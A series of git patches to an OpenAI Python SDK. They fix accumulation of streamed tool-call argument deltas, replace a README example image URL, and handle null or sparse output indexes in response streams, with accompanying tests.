tests/lib/test_streaming_deltas.py | 77 ++++++++++
6 files changed, 331 insertions(+), 71 deletions(-)
create mode 100644 tests/lib/chat/test_tool_call_deltas.py
create mode 100644 tests/lib/test_assistant_tool_call_deltas.py
create mode 100644 tests/lib/test_streaming_deltas.py
diff --git a/src/openai/lib/streaming/_assistants.py b/src/openai/lib/streaming/_assistants.py
index 314961230d..1cdca954a5 100644
--- a/src/openai/lib/streaming/_assistants.py
+++ b/src/openai/lib/streaming/_assistants.py
@@ -5,7 +5,8 @@
from typing import TYPE_CHECKING, Any, Generic, TypeVar, Callable, Iterable, Iterator, cast
from typing_extensions import Awaitable, AsyncIterable, AsyncIterator, assert_never
-from ..._utils import is_dict, is_list, consume_sync_iterator, consume_async_iterator
+from ._deltas import accumulate_delta as accumulate_delta
+from ..._utils import consume_sync_iterator, consume_async_iterator
from ..._compat import model_dump
from ..._httpx2 import timeout_exceptions
from ..._models import construct_type
@@ -978,64 +979,3 @@ def accumulate_event(
)
return current_message_snapshot, new_content
-
-
-def accumulate_delta(acc: dict[object, object], delta: dict[object, object]) -> dict[object, object]:
- for key, delta_value in delta.items():
- if key not in acc:
- acc[key] = delta_value
- continue
-
- acc_value = acc[key]
- if acc_value is None:
- acc[key] = delta_value
- continue
-
- # the `index` property is used in arrays of objects so it should
- # not be accumulated like other values e.g.
- # [{'foo': 'bar', 'index': 0}]
- #
- # the same applies to `type` properties as they're used for
- # discriminated unions
- if key == "index" or key == "type":
- acc[key] = delta_value
- continue
-
- if isinstance(acc_value, str) and isinstance(delta_value, str):
- acc_value += delta_value
- elif isinstance(acc_value, (int, float)) and isinstance(delta_value, (int, float)):
- acc_value += delta_value
- elif is_dict(acc_value) and is_dict(delta_value):
- acc_value = accumulate_delta(acc_value, delta_value)
- elif is_list(acc_value) and is_list(delta_value):
- # for lists of non-dictionary items we'll only ever get new entries
- # in the array, existing entries will never be changed
- if all(isinstance(x, (str, int, float)) for x in acc_value):
- acc_value.extend(delta_value)
- continue
-
- for delta_entry in delta_value:
- if not is_dict(delta_entry):
- raise TypeError(f"Unexpected list delta entry is not a dictionary: {delta_entry}")
-
- try:
- index = delta_entry["index"]
- except KeyError as exc:
- raise RuntimeError(f"Expected list delta entry to have an `index` key; {delta_entry}") from exc
-
- if not isinstance(index, int):
- raise TypeError(f"Unexpected, list delta entry `index` value is not an integer; {index}")
-
- try:
- acc_entry = acc_value[index]
- except IndexError:
- acc_value.insert(index, delta_entry)
- else:
- if not is_dict(acc_entry):
- raise TypeError("not handled yet")
-
- acc_value[index] = accumulate_delta(acc_entry, delta_entry)
-
- acc[key] = acc_value
-
- return acc
diff --git a/src/openai/lib/streaming/_deltas.py b/src/openai/lib/streaming/_deltas.py
index a5e1317612..dc80325eb4 100644
--- a/src/openai/lib/streaming/_deltas.py
+++ b/src/openai/lib/streaming/_deltas.py
@@ -3,16 +3,22 @@
from ..._utils import is_dict, is_list
+def _has_indexed_entries(value: object) -> bool:
+ return is_list(value) and any(is_dict(entry) and "index" in entry for entry in value)
+
+
def accumulate_delta(acc: dict[object, object], delta: dict[object, object]) -> dict[object, object]:
for key, delta_value in delta.items():
- if key not in acc:
- acc[key] = delta_value
- continue
+ if key not in acc or acc[key] is None:
+ if _has_indexed_entries(delta_value):
+ # Even the first indexed list must be merged: one chunk can
+ # contain several fragments for the same index.
+ acc[key] = []
+ else:
+ acc[key] = delta_value
+ continue
acc_value = acc[key]
- if acc_value is None:
- acc[key] = delta_value
- continue
# the `index` property is used in arrays of objects so it should
# not be accumulated like other values e.g.
@@ -33,7 +39,11 @@ def accumulate_delta(acc: dict[object, object], delta: dict[object, object]) ->
elif is_list(acc_value) and is_list(delta_value):
# for lists of non-dictionary items we'll only ever get new entries
# in the array, existing entries will never be changed
- if all(isinstance(x, (str, int, float)) for x in acc_value):
+ # An empty accumulator cannot tell us whether this is an indexed
+ # list. Inspect the delta before taking the append-only path.
+ if all(isinstance(x, (str, int, float)) for x in acc_value) and (
+ acc_value or not _has_indexed_entries(delta_value)
+ ):
acc_value.extend(delta_value)
continue
diff --git a/src/openai/lib/streaming/chat/_completions.py b/src/openai/lib/streaming/chat/_completions.py
index f9dec645b6..cf3ecfe213 100644
--- a/src/openai/lib/streaming/chat/_completions.py
+++ b/src/openai/lib/streaming/chat/_completions.py
@@ -415,7 +415,7 @@ def _accumulate_chunk(self, chunk: ChatCompletionChunk) -> ParsedChatCompletionS
type_=ParsedChoiceSnapshot,
value={
**choice.model_dump(exclude_unset=True, exclude={"delta"}),
- "message": choice.delta.to_dict(),
+ "message": accumulate_delta({}, cast("dict[object, object]", choice.delta.to_dict())),
},
),
)
@@ -745,7 +745,7 @@ def _convert_initial_chunk_into_snapshot(chunk: ChatCompletionChunk) -> ParsedCh
for choice in chunk.choices:
choices[choice.index] = {
**choice.model_dump(exclude_unset=True, exclude={"delta"}),
- "message": choice.delta.to_dict(),
+ "message": accumulate_delta({}, cast("dict[object, object]", choice.delta.to_dict())),
}
return cast(
diff --git a/tests/lib/chat/test_tool_call_deltas.py b/tests/lib/chat/test_tool_call_deltas.py
new file mode 100644
index 0000000000..73478ed942
--- /dev/null
+++ b/tests/lib/chat/test_tool_call_deltas.py
@@ -0,0 +1,139 @@
+from __future__ import annotations
+
+import json
+from typing import Any
+
+import httpx2
+import pytest
+from pydantic import BaseModel
+
+import openai
+from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
+from openai.types.chat import ParsedChatCompletion
+from openai.lib.streaming.chat import ChatCompletionStreamEvent
+
+from ...conftest import base_url
+
+
+class ListFilesArgs(BaseModel):
+ path: str
+
+
+@pytest.fixture(params=["initial", "after_role", "empty", "new_choice", "existing_tool", "parallel"])
+def tool_call_chunks(request: pytest.FixtureRequest) -> list[dict[str, Any]]:
+ scenario = request.param
+ chunks: list[dict[str, Any]] = []
+ choice_index = 1 if scenario == "new_choice" else 0
+ tool_index = 1 if scenario in ("existing_tool", "parallel") else 0
+
+ def chunk(delta: dict[str, Any], index: int = choice_index, finish: str | None = None) -> dict[str, Any]:
+ return {
+ "id": "chatcmpl-test",
+ "object": "chat.completion.chunk",
+ "created": 0,
+ "model": "gpt-4o-mini",
+ "choices": [{"index": index, "delta": delta, "finish_reason": finish}],
+ }
+
+ if scenario in ("after_role", "empty", "new_choice"):
+ chunks.append(chunk({"role": "assistant", **({"tool_calls": []} if scenario == "empty" else {})}, index=0))
+
+ other_tool = {"index": 0, "id": "call_other", "type": "function", "function": {"name": "other", "arguments": "{}"}}
+ if scenario == "existing_tool":
+ chunks.append(chunk({"role": "assistant", "tool_calls": [other_tool]}))
+
+ # Match the report: the name and first argument fragment share an index
+ # within one chunk. Also split a later argument delta into two entries.
+ first_tools = [
+ {"index": tool_index, "id": "call_files", "type": "function", "function": {"name": "list_files"}},
+ {"index": tool_index, "function": {"arguments": '{"path"'}},
+ ]
+ if scenario == "parallel":
+ first_tools.insert(0, other_tool)
+ chunks.extend(
+ [
+ chunk({"role": "assistant", "tool_calls": first_tools}),
+ chunk(
+ {
+ "tool_calls": [
+ {"index": tool_index, "function": {"arguments": ": "}},
+ {"index": tool_index, "function": {"arguments": '"."}'}},
+ ]
+ }
+ ),
+ chunk({}, finish="tool_calls"),
+ ]
+ )
+ return chunks
+
+
+def mock_tool_stream(router: MockRouter, chunks: list[dict[str, Any]]) -> None:
+ body = "".join(f"data: {json.dumps(chunk)}\n\n" for chunk in chunks) + "data: [DONE]\n\n"
+ router.post("/chat/completions").mock(
+ return_value=httpx2.Response(200, text=body, headers={"content-type": "text/event-stream"})
+ )
+
+
+def assert_tool_stream(
+ completion: ParsedChatCompletion[None],
+ events: list[ChatCompletionStreamEvent[None]],
+ chunks: list[dict[str, Any]],
+) -> None:
+ calls = completion.choices[-1].message.tool_calls
+ assert calls is not None
+ expected_count = (
+ 2
+ if any(
+ tool.get("id") == "call_other"
+ for chunk in chunks
+ for choice in chunk["choices"]
+ for tool in choice["delta"].get("tool_calls", [])
+ )
+ else 1
+ )
+ assert len(calls) == expected_count
+ assert calls[-1].id == "call_files"
+ assert calls[-1].function.name == "list_files"
+ assert calls[-1].function.arguments == '{"path": "."}'
+ assert calls[-1].function.parsed_arguments == ListFilesArgs(path=".")
+ if expected_count == 2:
+ assert calls[0].id == "call_other"
+ assert calls[0].function.arguments == "{}"
+
+ deltas = [
+ event for event in events if event.type == "tool_calls.function.arguments.delta" and event.name == "list_files"
+ ]
+ assert [event.arguments_delta for event in deltas] == ["", '{"path"', ": ", '"."}']
+ done = [
+ event for event in events if event.type == "tool_calls.function.arguments.done" and event.name == "list_files"
+ ]
+ assert len(done) == 1
+ assert done[0].arguments == '{"path": "."}'
+ assert done[0].parsed_arguments == ListFilesArgs(path=".")
+ # Snapshot normalization must not change the raw chunks exposed to callers.
+ assert [event.chunk.to_dict() for event in events if event.type == "chunk"] == chunks
+
+
+@pytest.mark.respx2(base_url=base_url)
+def test_duplicate_tool_call_deltas(
+ client: OpenAI, respx2_mock: MockRouter, tool_call_chunks: list[dict[str, Any]]
+) -> None:
+ mock_tool_stream(respx2_mock, tool_call_chunks)
+ with client.chat.completions.stream(
+ model="gpt-4o-mini", messages=[], tools=[openai.pydantic_function_tool(ListFilesArgs, name="list_files")]
+ ) as stream:
+ events = list(stream)
+ assert_tool_stream(stream.get_final_completion(), events, tool_call_chunks)
+
+
+@pytest.mark.respx2(base_url=base_url)
+async def test_async_duplicate_tool_call_deltas(
+ async_client: AsyncOpenAI, respx2_mock: MockRouter, tool_call_chunks: list[dict[str, Any]]
+) -> None:
+ mock_tool_stream(respx2_mock, tool_call_chunks)
+ async with async_client.chat.completions.stream(
+ model="gpt-4o-mini", messages=[], tools=[openai.pydantic_function_tool(ListFilesArgs, name="list_files")]
+ ) as stream:
+ events = [event async for event in stream]
+ assert_tool_stream(await stream.get_final_completion(), events, tool_call_chunks)
diff --git a/tests/lib/test_assistant_tool_call_deltas.py b/tests/lib/test_assistant_tool_call_deltas.py
new file mode 100644
index 0000000000..647bfd381b
--- /dev/null
+++ b/tests/lib/test_assistant_tool_call_deltas.py
@@ -0,0 +1,94 @@
+from __future__ import annotations
+
+import json
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
+from openai.types.beta.threads.runs import RunStep
+
+from ..conftest import base_url
+
+
+@pytest.fixture(params=[False, True], ids=["empty", "snapshot-without-index"])
+def assistant_tool_stream(request: pytest.FixtureRequest, respx2_mock: MockRouter) -> None:
+ tool = {"id": "call_files", "type": "function", "function": {"name": "list_files", "arguments": ""}}
+ step = {
+ "id": "step_test",
+ "object": "thread.run.step",
+ "assistant_id": "asst_test",
+ "thread_id": "thread_test",
+ "run_id": "run_test",
+ "created_at": 0,
+ "status": "in_progress",
+ "type": "tool_calls",
+ "step_details": {"type": "tool_calls", "tool_calls": [tool] if request.param else []},
+ }
+ fragments = [
+ {"index": 0, "type": "function", "function": {"arguments": '{"'}},
+ {"index": 0, "type": "function", "function": {"arguments": 'path"'}},
+ ]
+ if not request.param:
+ fragments.insert(0, {"index": 0, **tool})
+ events = [
+ ("thread.run.step.created", step),
+ (
+ "thread.run.step.delta",
+ {
+ "id": "step_test",
+ "object": "thread.run.step.delta",
+ "delta": {
+ "step_details": {"type": "tool_calls", "tool_calls": fragments},
+ },
+ },
+ ),
+ (
+ "thread.run.step.delta",
+ {
+ "id": "step_test",
+ "object": "thread.run.step.delta",
+ "delta": {
+ "step_details": {
+ "type": "tool_calls",
+ "tool_calls": [
+ {"index": 0, "type": "function", "function": {"arguments": ': "."}'}},
+ ],
+ },
+ },
+ },
+ ),
+ ]
+ body = "".join(f"event: {name}\ndata: {json.dumps(data)}\n\n" for name, data in events) + "data: [DONE]\n\n"
+ respx2_mock.post("/threads/thread_test/runs").mock(
+ return_value=httpx2.Response(200, text=body, headers={"content-type": "text/event-stream"})
+ )
+
+
+def assert_tool_arguments(steps: list[RunStep]) -> None:
+ assert len(steps) == 1
+ details = steps[0].step_details
+ assert details.type == "tool_calls"
+ assert len(details.tool_calls) == 1
+ tool = details.tool_calls[0]
+ assert tool.type == "function"
+ assert tool.id == "call_files"
+ assert tool.function.name == "list_files"
+ assert json.loads(tool.function.arguments) == {"path": "."}
+
+
+@pytest.mark.respx2(base_url=base_url)
+@pytest.mark.usefixtures("assistant_tool_stream")
+@pytest.mark.filterwarnings("ignore:The Assistants API is deprecated:DeprecationWarning")
+def test_assistant_tool_call_deltas(client: OpenAI) -> None:
+ with client.beta.threads.runs.stream(thread_id="thread_test", assistant_id="asst_test") as stream: # pyright: ignore[reportDeprecated]
+ assert_tool_arguments(stream.get_final_run_steps())
+
+
+@pytest.mark.respx2(base_url=base_url)
+@pytest.mark.usefixtures("assistant_tool_stream")
+@pytest.mark.filterwarnings("ignore:The Assistants API is deprecated:DeprecationWarning")
+async def test_async_assistant_tool_call_deltas(async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.threads.runs.stream(thread_id="thread_test", assistant_id="asst_test") as stream: # pyright: ignore[reportDeprecated]
+ assert_tool_arguments(await stream.get_final_run_steps())
diff --git a/tests/lib/test_streaming_deltas.py b/tests/lib/test_streaming_deltas.py
new file mode 100644
index 0000000000..e563968436
--- /dev/null
+++ b/tests/lib/test_streaming_deltas.py
@@ -0,0 +1,77 @@
+from __future__ import annotations
+
+from copy import deepcopy
+
+import pytest
+
+from openai.lib.streaming._deltas import accumulate_delta
+
+
+@pytest.mark.parametrize("initial", [{}, {"tool_calls": None}, {"tool_calls": []}])
+def test_duplicate_indexes_in_initial_list(initial: dict[object, object]) -> None:
+ acc = deepcopy(initial)
+ accumulate_delta(
+ acc,
+ {
+ "tool_calls": [
+ {"index": 0, "id": "call_abc", "type": "function", "function": {"name": "list_files"}},
+ {"index": 0, "function": {"arguments": '{"path"'}},
+ ]
+ },
+ )
+ accumulate_delta(acc, {"tool_calls": [{"index": 0, "function": {"arguments": ': "."}'}}]})
+ assert acc["tool_calls"] == [
+ {
+ "index": 0,
+ "id": "call_abc",
+ "type": "function",
+ "function": {"name": "list_files", "arguments": '{"path": "."}'},
+ }
+ ]
+
+
+@pytest.mark.parametrize(
+ "initial,delta,expected",
+ [
+ ({}, {"value": [1, "a"]}, {"value": [1, "a"]}),
+ ({"value": None}, {"value": [1, "a"]}, {"value": [1, "a"]}),
+ ({"value": []}, {"value": [1, "a"]}, {"value": [1, "a"]}),
+ ({"value": [1]}, {"value": [2, "a"]}, {"value": [1, 2, "a"]}),
+ ({"value": []}, {"value": [{"text": "a"}]}, {"value": [{"text": "a"}]}),
+ ({}, {"value": [{"text": "a"}]}, {"value": [{"text": "a"}]}),
+ ({"value": [1]}, {"value": []}, {"value": [1]}),
+ # Full Assistants snapshots omit the delta-only index field.
+ (
+ {"value": [{"text": "a"}]},
+ {"value": [{"index": 0, "text": "b"}]},
+ {"value": [{"index": 0, "text": "ab"}]},
+ ),
+ (
+ {"index": 1, "type": "text", "text": {"value": "a"}, "count": 2},
+ {"index": 1, "type": "text", "text": {"value": "b"}, "count": 3},
+ {"index": 1, "type": "text", "text": {"value": "ab"}, "count": 5},
+ ),
+ (
+ {"function": {"name": "list_", "arguments": "{"}},
+ {"function": {"name": "files", "arguments": "}"}},
+ {"function": {"name": "list_files", "arguments": "{}"}},
+ ),
+ ],
+)
+def test_existing_delta_semantics(
+ initial: dict[object, object], delta: dict[object, object], expected: dict[object, object]
+) -> None:
+ assert accumulate_delta(deepcopy(initial), deepcopy(delta)) == expected
+
+
+@pytest.mark.parametrize(
+ "entry,error,match",
+ [
+ ("invalid", TypeError, "not a dictionary"),
+ ({"text": "invalid"}, RuntimeError, "an `index` key"),
+ ({"index": "0"}, TypeError, "not an integer"),
+ ],
+)
+def test_invalid_indexed_delta(entry: object, error: type[Exception], match: str) -> None:
+ with pytest.raises(error, match=match):
+ accumulate_delta({"content": [{"index": 0, "text": "a"}]}, {"content": [entry]})
From 1ed8902e5629c1aae0c26eadceff02bd5cebb0e1 Mon Sep 17 00:00:00 2001
From: Marcus Wood
Date: Thu, 10 Sep 2026 13:25:52 -0700
Subject: [PATCH 120/341] docs: use the vision guide image in README example
(#3849)
## Summary
The README vision example points to a Wikimedia thumbnail URL that can
fail during the API's image download. Replace it with the National
Gallery of Art image already used in the [OpenAI vision
guide](https://developers.openai.com/api/docs/guides/images-vision),
preserving the current Responses API example and model.
Fixes #2776.
## Image provenance
The image UUID `a2e6da57-3cd1-4235-b20e-95dcaefed6c8` is listed with
`openaccess=1` in the National Gallery's [official published-image
catalog](https://github.com/NationalGalleryOfArt/opendata/blob/main/data/published_images.csv).
The Gallery's [open-access
policy](https://www.nga.gov/terms-and-notices) releases these images
under CC0 for commercial and non-commercial use. The URL is hosted
directly by the Gallery and matches the official OpenAI docs example.
## Validation
- Ran the exact updated README URL example against the live Responses
API with SDK 3.13.0 and `gpt-5.5`: status `completed`, with a
description of the seated woman in the portrait.
- `git diff --check` passed.
- Reviewed the full diff: one image URL replacement in README.md.
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index 54a9ff27cb..c0f5c7f2f1 100644
--- a/README.md
+++ b/README.md
@@ -232,7 +232,7 @@ With an image URL:
```python
prompt = "What is in this image?"
-img_url = "https://upload.wikimedia.org/wikipedia/commons/thumb/d/d5/2023_06_08_Raccoon1.jpg/1599px-2023_06_08_Raccoon1.jpg"
+img_url = "https://api.nga.gov/iiif/a2e6da57-3cd1-4235-b20e-95dcaefed6c8/full/!800,800/0/default.jpg"
response = client.responses.create(
model="gpt-5.5",
From 8f84fbd688bdd8a9cde17c09f79b34d5d5580f0f Mon Sep 17 00:00:00 2001
From: nightcityblade
Date: Fri, 11 Sep 2026 04:45:39 +0800
Subject: [PATCH 121/341] fix: preserve response stream indexes after empty
items (#3126)
Fixes #3125.
Skip null or missing `response.output_item.added` items and track valid
items by their original stream indexes. Later text and tool-call deltas
reach the correct item even when indexes have gaps. Content for an item
never received raises a clear `RuntimeError` instead of being silently
discarded.
Preserves the finalized-output recovery from #3345 and keeps generated
event types unchanged. Merged current main into the contributor branch
and resolved the test conflicts.
## Validation
- Responses suite: 95 passed with Pydantic v2 and 95 passed with v1 on
Python 3.10.
- Broader handwritten SDK and streaming suite: 2,125 passed, 83 skipped.
- Sync/async mock-stream coverage includes missing/null items, reused
and sparse indexes, text/tool deltas, empty/null/missing initial output,
and completion recovery. The original guard fails the new gap
regression.
- Ruff, Pyright (0 errors), Mypy (1,834 source files), compilation, and
import smoke checks passed.
- Forty fine-tuning tests require the local Steady server. Its
dependency download from JSR failed; a representative connection failure
also reproduces with main. These tests were excluded from the passing
broad run.
Reviewed the complete diff; no unrelated changes or security findings.
---------
Co-authored-by: nightcityblade
Co-authored-by: Marcus Wood
---
.../lib/streaming/responses/_responses.py | 33 ++-
tests/lib/responses/test_null_output_items.py | 210 ++++++++++++++++++
tests/lib/responses/test_responses.py | 62 +++++-
3 files changed, 296 insertions(+), 9 deletions(-)
create mode 100644 tests/lib/responses/test_null_output_items.py
diff --git a/src/openai/lib/streaming/responses/_responses.py b/src/openai/lib/streaming/responses/_responses.py
index 735238493e..493de74763 100644
--- a/src/openai/lib/streaming/responses/_responses.py
+++ b/src/openai/lib/streaming/responses/_responses.py
@@ -23,6 +23,7 @@
from ....types.responses.tool_param import ToolParam
from ....types.responses.parsed_response import (
ParsedContent,
+ ParsedResponseOutputItem,
ParsedResponseOutputMessage,
ParsedResponseFunctionToolCall,
)
@@ -243,17 +244,18 @@ def __init__(
self.__current_snapshot: ParsedResponseSnapshot | None = None
self._completed_response: ParsedResponse[TextFormatT] | None = None
self._completed_output: dict[int, ResponseOutputItem] = {}
+ self._output_items: dict[int, ParsedResponseOutputItem[object]] = {}
self._input_tools = [tool for tool in input_tools] if is_given(input_tools) else []
self._text_format = text_format
self._rich_text_format: type | Omit = text_format if inspect.isclass(text_format) else omit
def handle_event(self, event: RawResponseStreamEvent) -> List[ResponseStreamEvent[TextFormatT]]:
- self.__current_snapshot = snapshot = self.accumulate_event(event)
+ self.__current_snapshot = self.accumulate_event(event)
events: List[ResponseStreamEvent[TextFormatT]] = []
if event.type == "response.output_text.delta":
- output = snapshot.output[event.output_index]
+ output = self._get_output_item(event.output_index)
assert output.type == "message"
content = output.content[event.content_index]
@@ -273,7 +275,7 @@ def handle_event(self, event: RawResponseStreamEvent) -> List[ResponseStreamEven
)
)
elif event.type == "response.output_text.done":
- output = snapshot.output[event.output_index]
+ output = self._get_output_item(event.output_index)
assert output.type == "message"
content = output.content[event.content_index]
@@ -293,7 +295,7 @@ def handle_event(self, event: RawResponseStreamEvent) -> List[ResponseStreamEven
)
)
elif event.type == "response.function_call_arguments.delta":
- output = snapshot.output[event.output_index]
+ output = self._get_output_item(event.output_index)
assert output.type == "function_call"
events.append(
@@ -331,6 +333,9 @@ def accumulate_event(self, event: RawResponseStreamEvent) -> ParsedResponseSnaps
return self._create_initial_response(event)
if event.type == "response.output_item.added":
+ if getattr(event, "item", None) is None:
+ return snapshot
+
if event.item.type == "function_call":
snapshot.output.append(
construct_type_unchecked(
@@ -343,20 +348,21 @@ def accumulate_event(self, event: RawResponseStreamEvent) -> ParsedResponseSnaps
)
else:
snapshot.output.append(event.item)
+ self._output_items[event.output_index] = snapshot.output[-1]
elif event.type == "response.content_part.added":
- output = snapshot.output[event.output_index]
+ output = self._get_output_item(event.output_index)
if output.type == "message":
output.content.append(
construct_type_unchecked(type_=cast(Any, ParsedContent), value=event.part.to_dict())
)
elif event.type == "response.output_text.delta":
- output = snapshot.output[event.output_index]
+ output = self._get_output_item(event.output_index)
if output.type == "message":
content = output.content[event.content_index]
assert content.type == "output_text"
content.text += event.delta
elif event.type == "response.function_call_arguments.delta":
- output = snapshot.output[event.output_index]
+ output = self._get_output_item(event.output_index)
if output.type == "function_call":
output.arguments += event.delta
elif event.type == "response.output_item.done":
@@ -375,8 +381,19 @@ def accumulate_event(self, event: RawResponseStreamEvent) -> ParsedResponseSnaps
return snapshot
+ def _get_output_item(self, output_index: int) -> ParsedResponseOutputItem[object]:
+ try:
+ return self._output_items[output_index]
+ except KeyError:
+ raise RuntimeError(
+ f"Received a content event for output index {output_index} before receiving its output item"
+ ) from None
+
def _create_initial_response(self, event: RawResponseStreamEvent) -> ParsedResponseSnapshot:
if event.type != "response.created":
raise RuntimeError(f"Expected to have received `response.created` before `{event.type}`")
- return construct_type_unchecked(type_=ParsedResponseSnapshot, value=event.response.to_dict())
+ snapshot = construct_type_unchecked(type_=ParsedResponseSnapshot, value=event.response.to_dict())
+ # Stream indexes can have gaps when a provider emits an empty added event.
+ self._output_items = dict(enumerate(snapshot.output or []))
+ return snapshot
diff --git a/tests/lib/responses/test_null_output_items.py b/tests/lib/responses/test_null_output_items.py
new file mode 100644
index 0000000000..bd7c49301b
--- /dev/null
+++ b/tests/lib/responses/test_null_output_items.py
@@ -0,0 +1,210 @@
+from __future__ import annotations
+
+import json
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from openai.types.responses import ParsedResponse
+from openai.lib.streaming.responses import ResponseStreamEvent
+
+
+async def _consume(
+ sync: bool, events: list[dict[str, object]]
+) -> tuple[list[ResponseStreamEvent[None]], ParsedResponse[None]]:
+ body = "".join(
+ f"data: {json.dumps({**event, 'sequence_number': index})}\n\n" for index, event in enumerate(events)
+ ).encode()
+ transport = httpx2.MockTransport(
+ lambda _request: httpx2.Response(200, content=body, headers={"content-type": "text/event-stream"})
+ )
+ if sync:
+ with OpenAI(api_key="fake-test-key", http_client=httpx2.Client(transport=transport)) as client:
+ with client.responses.stream(model="test-model", input="test") as stream:
+ return list(stream), stream.get_final_response()
+ async with AsyncOpenAI(api_key="fake-test-key", http_client=httpx2.AsyncClient(transport=transport)) as client:
+ async with client.responses.stream(model="test-model", input="test") as stream:
+ emitted = [event async for event in stream]
+ return emitted, await stream.get_final_response()
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("missing", [False, True], ids=["null", "missing"])
+@pytest.mark.parametrize("index", [0, 1, 1_000_000], ids=["reused-index", "gap", "large-gap"])
+@pytest.mark.parametrize("null_completion", [False, True])
+async def test_stream_preserves_output_after_empty_item(
+ sync: bool, missing: bool, index: int, null_completion: bool
+) -> None:
+ empty: dict[str, object] = {"type": "response.output_item.added", "output_index": 0}
+ if not missing:
+ empty["item"] = None
+ text = '{"answer":4}'
+ part: dict[str, object] = {"type": "output_text", "text": text, "annotations": [], "logprobs": []}
+ message: dict[str, object] = {
+ "id": "msg_test",
+ "type": "message",
+ "role": "assistant",
+ "status": "completed",
+ "content": [part],
+ }
+ tool = {
+ "id": "fc_test",
+ "type": "function_call",
+ "call_id": "call_test",
+ "name": "lookup",
+ "arguments": text,
+ "status": "completed",
+ }
+ events: list[dict[str, object]] = [
+ {"type": "response.created", "response": {"id": "resp_test", "output": []}},
+ empty,
+ {
+ "type": "response.output_item.added",
+ "output_index": index,
+ "item": {**message, "status": "in_progress", "content": []},
+ },
+ # An empty event must not remove an existing valid item.
+ {**empty, "output_index": index},
+ {
+ "type": "response.output_item.added",
+ "output_index": index + 1,
+ "item": {**tool, "status": "in_progress", "arguments": ""},
+ },
+ {
+ "type": "response.content_part.added",
+ "output_index": index,
+ "content_index": 0,
+ "part": {**part, "text": ""},
+ },
+ ]
+ for delta in ('{"answer":', "4}"):
+ events.extend(
+ [
+ {
+ "type": "response.output_text.delta",
+ "output_index": index,
+ "content_index": 0,
+ "item_id": "msg_test",
+ "delta": delta,
+ "logprobs": [],
+ },
+ {
+ "type": "response.function_call_arguments.delta",
+ "output_index": index + 1,
+ "item_id": "fc_test",
+ "delta": delta,
+ },
+ ]
+ )
+ events.extend(
+ [
+ {
+ "type": "response.output_text.done",
+ "output_index": index,
+ "content_index": 0,
+ "item_id": "msg_test",
+ "text": text,
+ "logprobs": [],
+ },
+ {"type": "response.output_item.done", "output_index": index + 1, "item": tool},
+ {"type": "response.output_item.done", "output_index": index, "item": message},
+ {
+ "type": "response.completed",
+ "response": {
+ "id": "resp_test",
+ "status": "completed",
+ "output": None if null_completion else [message, tool],
+ },
+ },
+ ]
+ )
+ emitted, final = await _consume(sync, events)
+ assert len(emitted) == len(events)
+ assert [event.snapshot for event in emitted if event.type == "response.output_text.delta"] == ['{"answer":', text]
+ assert [event.snapshot for event in emitted if event.type == "response.function_call_arguments.delta"] == [
+ '{"answer":',
+ text,
+ ]
+ assert [event.output_index for event in emitted if event.type == "response.output_text.delta"] == [index] * 2
+ assert final.output_text == text
+ assert len(final.output) == 2
+ final_message = final.output[0]
+ assert final_message.type == "message" and final_message.id == "msg_test"
+ final_tool = final.output[1]
+ assert final_tool.type == "function_call" and final_tool.arguments == text
+ assert final_tool.id == "fc_test"
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize(
+ "event_type",
+ [
+ "response.content_part.added",
+ "response.output_text.delta",
+ "response.output_text.done",
+ "response.function_call_arguments.delta",
+ ],
+)
+async def test_stream_reports_content_without_an_output_item(sync: bool, event_type: str) -> None:
+ with pytest.raises(RuntimeError, match="output index 0 before receiving its output item"):
+ await _consume(
+ sync,
+ [
+ {"type": "response.created", "response": {"id": "resp_test", "output": []}},
+ {"type": "response.output_item.added", "output_index": 0, "item": None},
+ {
+ "type": event_type,
+ "output_index": 0,
+ "content_index": 0,
+ "item_id": "msg_test",
+ "delta": "hello",
+ "text": "hello",
+ "part": {"type": "output_text", "text": ""},
+ "logprobs": [],
+ },
+ ],
+ )
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+async def test_stream_keeps_initial_output_after_empty_item(sync: bool) -> None:
+ message: dict[str, object] = {
+ "id": "msg_test",
+ "type": "message",
+ "role": "assistant",
+ "status": "in_progress",
+ "content": [{"type": "output_text", "text": "", "annotations": [], "logprobs": []}],
+ }
+ emitted, _ = await _consume(
+ sync,
+ [
+ {"type": "response.created", "response": {"id": "resp_test", "output": [message]}},
+ {"type": "response.output_item.added", "output_index": 1, "item": None},
+ {
+ "type": "response.output_text.delta",
+ "output_index": 0,
+ "content_index": 0,
+ "item_id": "msg_test",
+ "delta": "hello",
+ "logprobs": [],
+ },
+ {"type": "response.completed", "response": {"id": "resp_test", "output": []}},
+ ],
+ )
+ assert [event.snapshot for event in emitted if event.type == "response.output_text.delta"] == ["hello"]
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("initial_output", ["empty", "null", "missing"])
+@pytest.mark.parametrize("empty_added_event", [False, True])
+async def test_stream_completes_with_only_empty_items(sync: bool, initial_output: str, empty_added_event: bool) -> None:
+ response: dict[str, object] = {"id": "resp_test"}
+ if initial_output != "missing":
+ response["output"] = [] if initial_output == "empty" else None
+ events: list[dict[str, object]] = [{"type": "response.created", "response": response}]
+ if empty_added_event:
+ events.append({"type": "response.output_item.added", "output_index": 0, "item": None})
+ events.append({"type": "response.completed", "response": {"id": "resp_test", "output": None}})
+ _, final = await _consume(sync, events)
+ assert final.output == []
diff --git a/tests/lib/responses/test_responses.py b/tests/lib/responses/test_responses.py
index 390681e8fb..5ba5a1e2b3 100644
--- a/tests/lib/responses/test_responses.py
+++ b/tests/lib/responses/test_responses.py
@@ -10,8 +10,9 @@
from openai._types import omit
from openai._utils import assert_signatures_in_sync
from openai._models import construct_type_unchecked
-from openai.types.responses import Response
+from openai.types.responses import Response, ResponseCreatedEvent, ResponseOutputItemAddedEvent
from openai.lib._parsing._responses import parse_response
+from openai.lib.streaming.responses._responses import ResponseStreamState
from ...conftest import base_url
from ..snapshots import make_snapshot_request
